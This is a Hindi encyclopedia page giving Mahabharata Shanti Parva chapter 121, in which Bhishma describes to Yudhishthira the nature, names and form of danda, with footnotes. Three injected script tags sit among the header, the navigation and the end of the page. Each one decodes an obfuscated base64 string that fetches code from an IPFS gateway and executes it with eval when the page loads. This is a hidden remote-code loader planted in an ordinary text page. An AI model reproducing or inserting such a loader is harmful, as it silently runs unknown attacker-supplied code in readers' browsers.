महाभारत शान्ति पर्व अध्याय 121 श्लोक 1-22
गणराज्य | इतिहास | पर्यटन | भूगोल | विज्ञान | कला | साहित्य | धर्म | संस्कृति | शब्दावली | विश्वकोश | भारतकोश |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
एकविंशत्यधिकशततम (121) अध्याय: शान्ति पर्व (राजधर्मानुशासन पर्व)
दण्ड के स्वरुप, नाम, लक्षण, प्रभाव और प्रयोग का वर्णन
युधिष्ठिर ने पूछा-पितामह ! आपने यह सनातन राजधर्म का वर्णन किया है। इसके अनुसार महान् दण्ड ही सबका ईश्वर हैं, दण्ड के ही आधार पर सब कुछ टिका हुआ है। प्रभो !देवता, ॠषि, पितर, महात्मा, यक्ष, राक्षस, पिशाच तथा साध्यगण एवं पशु-पक्षीयों की योनि में निवास करनेवाले जगत् के समस्त प्राणियों के लिये भी सर्वव्यापी महातेजस्वी दण्ड ही कल्याण का साधन है।। देवता, असुर और मनुष्यों सहित इस सम्पूर्ण विश्व को अपने समीप देखते हुए आपने कहा है कि दण्ड पर ही चराचर जगत् प्रतिष्ठित है। भरतश्रेष्ठ ! मैं यथार्थ रुप से यह सब जानना चाहता हूं। दण्ड क्या है? कैसा है? उसका स्वरुप किस तरह का है? और किसके आधार पर उसकी स्थिति है? प्रभो ! उसका उपादान क्या है ? उसकी उत्पति कैसे हुई है ? उसका आकार कैसा है? । वह किस प्रकार सावधान रहकर सम्पूर्ण प्राणियों पर शासन करने के लिये जागता रहता है? कौन इस पृथ्वी पर जगत् का प्रतिपालन करता हुआ जागता है?। पहले इसे किस नाम से जाना जाता था ? कौन दण्ड प्रसिद्ध है? दण्ड का आधार क्या है ? तथा उसकी गति क्या बतायी गयी है ?
भीष्मजी ने कहा- कुरुनन्दन ! दण्ड का जो स्वरुप है तथा जिस प्रकार उसको ‘व्यवहार’ कहा जाता है, वह सब तुम्हें बताता हूं; सुनो । इस संसार में सब कुछ जिसके अधीन है, वही अद्वितीय पदार्थ यहां ‘दण्ड‘ कहलाता है। महाराज ! धर्म का ही दूसरा नाम व्यवहार है। लोक में सतत सावधान रहनेवाले पुरुष के धर्म का किसी तरह लोप न हो; इसीलिये दण्ड की आवश्यकता हैं और यही उस व्यवहार का व्यवहारत्व[१] है। राजन् ! पूर्वकाल में मनु ने यह उपदेश दिया है कि जो राजा प्रिय और अप्रिय के प्रति समान भाव रखकर किसी के प्रति पक्षपातन करके दण्ड का ठीक-ठीक उपयोग करते हुए प्रजा की भलीभांति रक्षा करता हैं, उसका वह कार्य केवल धर्म है। नरेन्द्र ! उपर्युक्त सारी बातें मनुजी ने पहले ही कह दी है और मैंने जो बात कही है, वह ब्रहाजी का महान् वचन है। यही वचन मनुजी के द्वारा पहले कहा गया है; इसलिये इसको ‘प्राग्वचन’ के नाम से भी जानते हैं। इसमें व्यवहार का प्रतिपादन होने से यहां व्यवहार नाम दिया गया है। दण्ड का ठीक-ठीक उपयोग होने पर राजा के धर्म, अर्थ और काम की सिद्धि सदा होती रहती है। इसलिये दण्ड महान् देवता हैं, यह अग्नि के समान तेजस्वी रुप से प्रकट हुआ। इसके शरीर को कान्ति नील कमलदल के समान श्याम है, इसके चार दाढ़ें और चार भुजाएं हैं। आठ पैर और अनेक नेत्र हैं।
इसके कान खूंट के समान हैं और रोएं उपर की ओर उठे हुए हैं। इसके सिर जटा है,
मुख में दो जिह्णऍं हैं, मुख का रंग तांबे के समान हैं, शरीर को ढकने के लिये उसने व्याघ्रचर्म धारण कर रखा है, इस प्रकार दुर्धर्ष दण्ड सदा यह भयंकर रुप धारण किये रहता है[२]।। खड्ग, धनुष, गदा, शक्ति, त्रिशुल, मुद्गर, बाण, मुसल, फरसा, चक्र, पाश, दण्ड, ॠष्टि, तोमर तथा दूसरे-दूसरे जो कोई प्रहार करनेयोग्य अस्त्र-शस्त्र हैं,उन सबके रुप में सर्वात्मा दण्ड ही मूर्तिमान् होकर जगत् में विचरता हैं। वही अपराधियों को भेदता, छेदता, पीड़ा देता, काटता, चीरता, फाड़ता तथा मरवाता है। इस प्रकार दण्ड ही सब ओर दौड़ता-फिरता हैं। युधिष्ठिर ! असि, विशसन, धर्म, तीक्ष्णवर्मा, दुराधर, श्रीगर्भ, विजय, व्यवहार, शास्त्र, ब्राह्मण, मन्त्र, शास्ता, प्राग्वदतांवर, धर्मपाल, अक्षर, देव, सत्यग, नित्यग, अग्रज, असंग, रुद्रतनय, मनु, ज्येष्ठ और शिवशंकर ये दण्ड के नाम कहे गये हैं।
« पीछे | आगे » |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
- ↑ ‘विगत: अवहार: धर्मस्य येन स: व्यवहार: ‘। दूर हो गया है धर्म का अवहार(लोप) जिसके द्वारा, वह व्यवहार हैं। इस व्युत्पति के अनुसार धर्म को लृप्त होने से बचानाही व्यवहार का व्यवहारत्व है।
- ↑ यहां पद्रहवें और सोलहवें श्लोक में आये हुए पदों की नीलकण्ठ ने व्यावहारिक दण्ड के विशेषरुप से भी संगति लगायी हैं।इन विशेषणों को रुपक मानकर अर्थ किया हैं।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>